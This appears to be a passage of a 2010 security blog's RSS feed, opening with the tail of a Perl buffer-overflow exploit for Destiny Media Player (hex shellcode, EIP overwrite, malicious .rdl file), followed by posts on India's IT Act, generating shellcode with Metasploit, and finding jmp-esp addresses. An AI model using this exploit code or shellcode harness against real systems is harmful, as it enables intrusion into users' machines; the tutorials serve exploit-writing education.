<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>30&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>bc<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>23<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>f3<span style="color: #000099; font-weight: bold;">\x</span>b4<span style="color: #000099; font-weight: bold;">\x</span>ae<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>aa&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3a<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>bf<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>21<span style="color: #000099; font-weight: bold;">\x</span>e7<span style="color: #000099; font-weight: bold;">\x</span>96&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>ca<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>14<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f0<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>22<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>a2<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>c3<span style="color: #000099; font-weight: bold;">\x</span>f7<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>7a&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>cf<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>23<span style="color: #000099; font-weight: bold;">\x</span>d3<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>a4<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>f7<span style="color: #000099; font-weight: bold;">\x</span>d8<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>83&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>a1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>c6<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>c1<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>98&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>aa<span style="color: #000099; font-weight: bold;">\x</span>f1<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>a8<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>3d<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>61&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>19<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7b<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>05&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>7b<span style="color: #000099; font-weight: bold;">\x</span>ca&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/open.html"><span style="color: #000066;">open</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt;$file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #0000ff;">$FILE</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$eip</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/close.html"><span style="color: #000066;">close</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;rdl File Created successfully<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>8. Double click radio6.rdl it launches calculator.</p>
<p>Congratz!!! You have successfully written exploit for Destiny media Player.</p>
<p>At last , I will thank Peter Van Eeckhoutte for excellent tutorial series on Exploit Writing.  If you are more interested on writing then you must visit <a href="http://www.corelan.be:8800/" target="_blank">Peter Van Blog </a> for Exploit Writing tutorial.</p>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/exploit-development/overwrite-eip" rel="bookmark" class="crp_title">How to find addresses to overwrite EIP??</a></li><br/><li><a href="http://www.secsavvy.com/exploit-development/generating-shellcode" rel="bookmark" class="crp_title">Generating Shellcode using Metasploit</a></li><br/><li><a href="http://www.secsavvy.com/security-tools/image-hijack" rel="bookmark" class="crp_title">How to remap exe to another exe file??? (Image Hijack)</a></li><br/><li><a href="http://www.secsavvy.com/malware/virus-defense" rel="bookmark" class="crp_title">Defenses Against Viruses</a></li><br/><li><a href="http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack" rel="bookmark" class="crp_title">Detecting Gmail Account Hack</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/BkJOTxmwXNxQ-v5V1KeHxIODehs/0/da"><img src="http://feedads.g.doubleclick.net/~a/BkJOTxmwXNxQ-v5V1KeHxIODehs/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/BkJOTxmwXNxQ-v5V1KeHxIODehs/1/da"><img src="http://feedads.g.doubleclick.net/~a/BkJOTxmwXNxQ-v5V1KeHxIODehs/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/8y8-aaLVgQ0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/exploit-development/overflow-exploit/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/exploit-development/overflow-exploit</feedburner:origLink></item>
		<item>
		<title>Law governing IT in India</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/hBChcPYUilY/it-law</link>
		<comments>http://www.secsavvy.com/cyber-law/it-law#comments</comments>
		<pubDate>Tue, 27 Jul 2010 15:19:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Cyber Law]]></category>
		<category><![CDATA[IT Law]]></category>

		<guid isPermaLink="false">http://www.secsavvy.com/?p=79</guid>
		<description><![CDATA[Dear Pals, Now that we have gone through many facets of hacking let us figure something out about the law governing Information Technology (IT) in India. The cyber world is governed by the Information Technology Act, 2000 in India. This statute was enacted in compliance with the model law on Electronic Commerce adopted by the [...]]]></description>
			<content:encoded><![CDATA[<p>Dear Pals,</p>
<p>Now that we have gone through many facets of hacking let us  figure something out about the law governing Information Technology (IT) in India.</p>
<p>The cyber world is governed by the Information Technology Act, 2000 in India.<span id="more-79"></span></p>
<p>This statute was enacted in compliance with the model law on Electronic Commerce adopted by the United Nations General Assembly vide resolution No. A/RES/51/162, which recommends, inter alia, that all states give favourable consideration to the said Model Law when they enact or revise their laws relating to IT.</p>
<p>The act in its object clause states that it is “ An Act to provide legal recognition for transactions carried out by means of electronic data interchange and other means of electronic communication, commonly referred to as &#8220;electronic commerce&#8221;, which involve the use of alternatives to paper-based methods of communication and storage of information, to facilitate electronic filing of documents with the Government agencies and further to amend the Indian Penal Code, the Indian Evidence Act, 1872, the Bankers&#8217; Books Evidence Act, 1891 and the Reserve Bank of India Act, 1934 and for matters connected therewith or incidental thereto.” However it deals with many more provisions relating to IT.</p>
<p>The major chapters under the act include:-</p>
<ol>
<li>Definitions.</li>
<li>Electronic Governance.</li>
<li>Electronic Records.</li>
<li>Digital Signatures.</li>
<li>Certifying Authorities.</li>
<li>Cyber Regulations Appellate Tribunal.</li>
<li>Offences Related to Computers.</li>
<li>Miscellaneous Provisions.</li>
</ol>
<p>Let us now go into some details of the aforestated provisions.</p>
<p>In the first Chapter of the Act, and under Section 2, there are definitions of various terms with are used under the act. The most important definitions covered under this chapter are:-</p>
<ol>
<li> Under Section 2 (1)(a):- <strong>‘Access’</strong> “with its grammatical variations and cognate expressions means gaining entry into, instructing or communicating with the logical, arithmetical, or memory function resources of a computer, computer system or computer network;”</li>
<li>Under Section 2 (1)(d):-  <strong>‘Affixing Digital Signature’</strong> “with its grammatical variations and cognate expressions means adoption of any methodology or procedure by a person for the purpose of authenticating an electronic record by means of digital signature”</li>
<li>Under Section 2 (1)(f):- <strong>‘Asymmetric crypto system’</strong> means a system of a secure key pair consisting of a private key for creating a digital signature and a public key to verify the digital signature;</li>
<li>Under Section 2 (1)(i):- <strong>‘Computer’ </strong>means any electronic magnetic, optical or other high-speed data processing device or system which performs logical, arithmetic, and memory functions by manipulations of electronic, magnetic or optical impulses, and includes all input, output, processing, storage, computer software, or communication facilities which are connected or related to the computer in a computer system or computer network;</li>
<li>Under Section 2 (1)(j):- <strong>‘Computer Network’</strong> means the interconnection of one or more computers through-
<ul>
<li>the use of satellite, microwave, terrestrial line or other communication media; and</li>
<li>terminals or a complex consisting of two or more interconnected computers whether or not the interconnection is continuously maintained.</li>
</ul>
</li>
<li>Under Section 2 (1)(k):- <strong>‘computer resource’</strong> means computer, computer system, computer network, data, computer data base or software;</li>
<li>Under Section 2 (1)(l):- ‘<strong>computer system’</strong> means a device or collection of devices, including input and output support devices and excluding calculators which are not programmable and capable of being used in conjunction with external files, which contain computer programmes, electronic instructions, input data and output data, that performs logic, arithmetic, data storage and retrieval, communication control and other functions;</li>
<li>Under Section 2 (1)(o):- <strong>‘data’</strong> means a representation of information, knowledge, facts, concepts or instructions which are being prepared or have been prepared in a formalized manner, and is intended to be processed, is being processed or has been processed in a computer system or computer network, and may be in any form (including computer printouts magnetic or optical storage media, punched cards, punched tapes) or stored internally in the memory of the computer;</li>
<li>Under Section 2 (1)(p):- <strong>‘digital signature’ </strong>means authentication of any electronic record by a subscriber by means of an electronic method or procedure in accordance with the provisions of section 3;{Section 3 talks About Authentication of electronic records Defined below.}</li>
<li>Under Section 2 (1)(r):- <strong>‘electronic form’</strong> with reference to information means any information generated, sent, received or stored in media, magnetic, optical, computer memory, micro film, computer generated micro fiche or similar device;</li>
<li>Under Section 2 (1)(t):- <strong>‘electronic record’ </strong>means data, record or data generated, image or sound stored, received or sent in an electronic form or micro film or computer generated micro fiche;</li>
<li>Under Section 2 (1)(u):- <strong>‘function’</strong>, in relation to a computer, includes logic, control arithmetical process, deletion, storage and retrieval and communication or telecommunication from or within a computer;</li>
<li>Under Section 2 (1)(v):- <strong>‘information’</strong> includes data, text, images, sound, voice, codes, computer programmes, software and databases or micro film or computer generated micro fiche;</li>
</ol>
<p>In Chapter III of the act it deals with e-Governance. The term Electronic Governance, most commonly referred as e-Governance means setting up an easy, cheap and transparent relationship among people and the government using the electronic media. Internet plays the most vital role in carrying out of e-Governance. In e-Government, people are linked with the government by the internet. Sections 4 to 10 deal with provisions like legal recognition of electronic records, legal recognition of digital signatures, retention of electronic records etc.</p>
<p>Chapter IV deals with Attribution, Acknowledgement and dispatch of electronic records.</p>
<p>Chapter VII talks about Digital Signature Certificates.</p>
<p>The main concern of common people using Computers or Computer systems is dealt with in Chapter XI where different kinds of Computer related offences have been defined and the penalty for such offence is prescribed. These crimes are often named as <em>White Collar Crimes</em> and mainly need intellect.</p>
<p>Section 66 (1) talks about <strong>Hacking</strong> with Computer System, it states that “Whoever with the intent to cause or knowing that he is likely to cause wrongful loss or damage to the public or any person <strong>destroys</strong> or <strong>deletes</strong> or <strong>alters</strong> any information residing in a computer resource or diminishes its value or utility or affects it injuriously by any means, commits hack.” Here due attention must be paid to the three words in bold i.e. destroys, deletes and alters. These three words have much more bigger ambit than it seems to a common man. These three kinds of actions can lead to theft, misappropriation, forgery, fraud, introduction of viruses, Trojan horses, logic bombs etc.  The persons committing such offences are referred to as Hackers. There are various kinds of hackers viz.</p>
<ol>
<li>Code Hackers:- They know computer like their backyard and they can use the computer in any manner they wish.</li>
<li>Crackers:- They gain access into computer systems by circumventing operating systems’ security.</li>
<li> Phreakers:- They use their vast internet knowledge to hack.</li>
<li> CyberPunks:- They have expertise in Cryptography.</li>
</ol>
<p>Section 66 (2) penalizes the offence of hacking with imprisonment up to <strong>three years</strong> and/or fine which may extend upto  <strong>two lakh rupees</strong>.</p>
<p>Section 67 deals with <strong>Pornography</strong> as an offence. It states that “Whoever publishes or transmits or causes to be published in the electronic form, any material which is lascivious or appeals to the prurient interest or if its effect is such as to tend to deprave and corrupt persons who are likely, having regard to all relevant circumstances, to read, see or hear the matter contained or embodied in it, shall be punished on first conviction with imprisonment of either description for a term which may extend to <strong>five years</strong> and with fine which may extend to <strong>one lakh rupees</strong> and in the event of a second or subsequent conviction with imprisonment of either description for a term which may extend to ten years and also with fine which may extend to <strong>two lakh rupees</strong>.”</p>
<p>Section 70 deals with <strong>Protected Systems.</strong> Sub-section 1 states that The appropriate Government may, by notification in the Official Gazette, declare that any computer, computer system or computer network to be a protected system and Sub-section 3 states that any person who secures access or attempts to secure access to a protected system in contravention of the provisions of this section shall be punished with imprisonment of either description for a term which may extend to <strong>ten years</strong> and shall also be liable to fine.</p>
<p>Section 76 talks about <strong>Confiscation, </strong>it states that Any computer, computer system, floppies, compact disks, tape drives or any other accessories related thereto, in respect of which any provision of this Act,  rules, orders or regulations made thereunder has been or is being contravened, shall be liable to confiscation.</p>
<p>The act gives a police officer not below the rank of Deputy Superintendent of Police authority to investigate any case relating to cyber crime under this act.</p>
<p>Under chapter XIII provisions like power of police officer to enter and search the premises where cyber crime is committed or is likely to be committed.</p>
<p>To conclude it can be commented that although there is a strict law governing different kinds of electronic crimes referred to as cyber crimes but they have not got due implementation nationwide. Although, there are laws to deal with serious cyber crimes but the administration lacks power to control and nab notorious criminals. In many areas and as evident in many cases, computers and internet experts have proved themselves as boons to the nation, but still we may find many people committing crimes using computers, many knowingly and many unknowingly. It is very important to know the laws relating to such offences and punishments on breaching those laws.</p>
<p><strong><em>This is a guest article by Krishanu Ray. BSL,Diploma in Cyber Laws.</em></strong></p>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/forensic/ram-analysis" rel="bookmark" class="crp_title">RAM Analysis</a></li><br/><li><a href="http://www.secsavvy.com/malware/virus-defense" rel="bookmark" class="crp_title">Defenses Against Viruses</a></li><br/><li><a href="http://www.secsavvy.com/forensic/pdf-overview" rel="bookmark" class="crp_title">PDF Overview</a></li><br/><li><a href="http://www.secsavvy.com/internet-security/want-to-hack-passwords-in-firefox" rel="bookmark" class="crp_title">Want to hack passwords in Firefox??</a></li><br/><li><a href="http://www.secsavvy.com/forensic/cyber-forensic/detecting-gmail-hack" rel="bookmark" class="crp_title">Detecting Gmail Account Hack</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/ItAZxhX3CJkd09PvKfgcAvPI6b0/0/da"><img src="http://feedads.g.doubleclick.net/~a/ItAZxhX3CJkd09PvKfgcAvPI6b0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/ItAZxhX3CJkd09PvKfgcAvPI6b0/1/da"><img src="http://feedads.g.doubleclick.net/~a/ItAZxhX3CJkd09PvKfgcAvPI6b0/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/hBChcPYUilY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/cyber-law/it-law/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/cyber-law/it-law</feedburner:origLink></item>
		<item>
		<title>Generating Shellcode using Metasploit</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/GRsJildeRd0/generating-shellcode</link>
		<comments>http://www.secsavvy.com/exploit-development/generating-shellcode#comments</comments>
		<pubDate>Fri, 23 Jul 2010 17:55:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exploit Development]]></category>
		<category><![CDATA[Exploit Tutorial]]></category>
		<category><![CDATA[Hacking Videos]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Shellcode]]></category>

		<guid isPermaLink="false">http://www.secsavvy.com/?p=73</guid>
		<description><![CDATA[What is Shellcode?? Shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability.  It is called &#8220;shellcode&#8221; because it typically starts a  shell/command prompt  from which the attacker can control the compromised machine.  Shellcode is commonly written in machine code, but any piece of code that performs [...]]]></description>
			<content:encoded><![CDATA[<div class="highlighter">What is Shellcode??</div>
<p></br><br />
Shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability.  It is called &#8220;shellcode&#8221; because it typically starts a  shell/command prompt  from which the attacker can control the compromised machine.<span id="more-73"></span>  Shellcode is commonly written in machine code, but any piece of code that performs a similar task can be called shellcode. (Wikipedia)<br />
<br /></br><br /></br></p>
<div class="highlighter">Tools Needed</div>
<p></br><br />
1. <a href="http://www.metasploit.com/framework/download/" target="_blank">Metasploit Framework</a><br />
2.  <a href="http://sourceforge.net/projects/dev-cpp/files/Binaries/Dev-C%2B%2B%204.9.9.2/devcpp-4.9.9.2_setup.exe/download" target="_blank">Dev C++</a> ( or you can use different C compiler)<br />
<br /></br><br /></br></p>
<div class="highlighter">Generating Shellcode</div>
<p></br><br />
Using <a href="http://www.metasploit.com/" target="_blank">Metasploit </a> we can easily generate a shellcode.<br /></br></p>
<p>Watch this video for generating a shellcode and testing the shellcode with this simple C code.<br />
<center></p>
<p><a href="http://www.youtube.com/watch?v=9C3ddEsB8jE">http://www.youtube.com/watch?v=9C3ddEsB8jE</a></p>
<p></center></p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=73&amp;download=ShellCodeTest.c">ShellCodeTest.c</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p7324"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code" id="p73code24"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> shellcode<span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;put your shellcode here&quot;</span><span style="color: #339933;">;</span>
<span style="color: #993333;">int</span>  main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
      <span style="color: #666666; font-style: italic;">// Function pointer points to the address of function.</span>
      <span style="color: #993333;">void</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>shell<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Function pointer</span>
      <span style="color: #666666; font-style: italic;">// Initializing a function pointer  with the address of a shellocde</span>
      <span style="color: #666666; font-style: italic;">// &amp; is optional</span>
      shell<span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span>shellcode<span style="color: #339933;">;</span>
      <span style="color: #666666; font-style: italic;">// Execute shellcode</span>
      shell<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p></br><br /></br><br />
This is the list of some common shellcode( payloads):</p>
<ul>
<li><em>Windows Execute Command</em>: Execute an arbitrary command</li>
<li><em>Windows Meterpreter (skape/jt injection), Bind TCP Stager</em>: Listen for a connection, Inject the meterpreter server DLL</li>
<li><em>Windows Executable Download and Execute: </em>Download an EXE from a HTTP URL and execute it</li>
<li><em>Windows VNC Inject (skape/jt injection), Bind TCP Stager<!--</i-->em&gt;: Listen for a connection, Inject the VNC server DLL and run it from memory</em></li>
</ul>
<div id="crp_related"><br/><b>Related Posts:</b><ul><br/><li><a href="http://www.secsavvy.com/exploit-development/overwrite-eip" rel="bookmark" class="crp_title">How to find addresses to overwrite EIP??</a></li><br/><li><a href="http://www.secsavvy.com/exploit-development/overflow-exploit" rel="bookmark" class="crp_title">How to write buffer Overflow Exploit?</a></li><br/><li><a href="http://www.secsavvy.com/security-tools/image-hijack" rel="bookmark" class="crp_title">How to remap exe to another exe file??? (Image Hijack)</a></li><br/><li><a href="http://www.secsavvy.com/forensic/ram-analysis" rel="bookmark" class="crp_title">RAM Analysis</a></li><br/><li><a href="http://www.secsavvy.com/malware/keylogger/keylogger-tutorial" rel="bookmark" class="crp_title">Keylogger Tutorial</a></li><br/></ul><br/></div>
<p><a href="http://feedads.g.doubleclick.net/~a/Hb-V3NrIp-DC83wBNpmyqAs4xVw/0/da"><img src="http://feedads.g.doubleclick.net/~a/Hb-V3NrIp-DC83wBNpmyqAs4xVw/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/Hb-V3NrIp-DC83wBNpmyqAs4xVw/1/da"><img src="http://feedads.g.doubleclick.net/~a/Hb-V3NrIp-DC83wBNpmyqAs4xVw/1/di" border="0" ismap="true"></img></a></p><img src="http://feeds.feedburner.com/~r/Secsavvy/~4/GRsJildeRd0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.secsavvy.com/exploit-development/generating-shellcode/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.secsavvy.com/exploit-development/generating-shellcode</feedburner:origLink></item>
		<item>
		<title>How to find addresses to overwrite EIP??</title>
		<link>http://feedproxy.google.com/~r/Secsavvy/~3/xvloIDN5zCQ/overwrite-eip</link>
		<comments>http://www.secsavvy.com/exploit-development/overwrite-eip#comments</comments>
		<pubDate>Wed, 21 Jul 2010 20:38:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exploit Development]]></category>
		<category><![CDATA[Exploit Tutorial]]></category>
		<category><![CDATA[Findjmp2]]></category>
		<category><![CDATA[jmp esp]]></category>
		<category><![CDATA[memdump]]></category>
		<category><![CDATA[msfpescan]]></category>

		<guid isPermaLink="false">http://www.secsavvy.com/?p=61</guid>
		<description><![CDATA[While developing exploit, we need to overwrite EIP( Extended Instruction pointer) to change the flow of execution of program. Note: EIP contains the address of the memory which the processor is going to execute. Generally EIP is overwritten with the address of instructions like jmp esp, call , push ret etc. which point to our [...]]]></description>
			<content:encoded><![CDATA[<p>While developing exploit, we need to overwrite EIP( Extended Instruction pointer) to change the flow of execution of program.</p>
<div class="highlighter">Note: EIP contains the address of the memory which the processor is going to execute.</div>
<p>Generally EIP is overwritten with the address of instructions like jmp esp, call , push  ret etc. which point to our shellcode.<span id="more-61"></span><br />
<br/><br />
We can find the addresses using findjmp2, windbg, memdump etc. </p>
<h3>1. Findjmp2</h3>
<p>This program will find addresses suitable to overwrite EIP that will return to our code.</p>
<p>It currently supports looking for:</p>
<ul>
<li> jmp reg</li>
<li> call reg</li>
<li> push reg,  ret</li>
<li>pop, pop, ret</li>
</ul>
<p>You can download this program from this link <a href="http://godr.altervista.org/index.php?mod=Download/useful_tools" target="_blank">Findjmp2</a><br />
<span style="text-decoration: underline;"><strong>Usage</strong></span>:   findjmp &lt;dllname&gt; &lt;reg&gt;<br />
<br/><br />
<strong>Example:</strong></p>
<div class="examplecode">
<p>C:\Documents and Settings\Administrator\Desktop&gt;findjmp.exe ntdll.dll esp</p>
<p>Findjmp, Eeye, I2S-LaB<br />
Findjmp2, Hat-Squad<br />
Scanning ntdll.dll for code useable with the esp register<br />
0x7C914663      call esp<br />
0x7C919DB0      push esp &#8211; ret<br />
0x7C95311B      call esp<br />
0x7C9676E2      pop esp &#8211; pop &#8211; retbis<br />
Finished Scanning ntdll.dll for code useable with the esp register<br />
Found 4 usable addresses</p>
</div>
<p><br/><br/></p>
<h3>2. Memdump</h3>
<p>Memdump is used to dump the entire memory of running process.The directory created by memdump can be used with msfpescan to quickly find viable instructions<br />
and return addresses.<br />
You can find memdump in Metasploit tool folder in this location &#8220;C:\Program Files\Metasploit\Framework3\msf3\tools\memdump&#8221;.<br />
Download link for <a href="http://www.metasploit.com/framework/download/" target="_blank" >Metasploit</a>.</p>
<p><span style="text-decoration: underline;"><strong>Usage</strong></span>:  Memdump &lt;process id&gt; &lt;dump directory&gt;</p>
<h4>How to find process id??</h4>
<p>1. Open windows Task manager (ctrl + alt + del).<br />
2. Go to View-&gt;Select Columns.<br />
3. Select  PID(process id) checkbox, click ok.</p>
<p><div id="attachment_63" class="wp-caption alignleft" style="width: 311px"><a href="http://www.secsavvy.com/wp-content/uploads/2010/07/Select-columns.jpg"><img class="size-full wp-image-63" title="Select columns" src="http://www.secsavvy.com/wp-content/uploads/2010/07/Select-columns.jpg" alt="Select columns" width="301" height="354" /></a></dt>
</dl>
</div>
<p><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><br />
Now we can see the PID of all the process.</p>
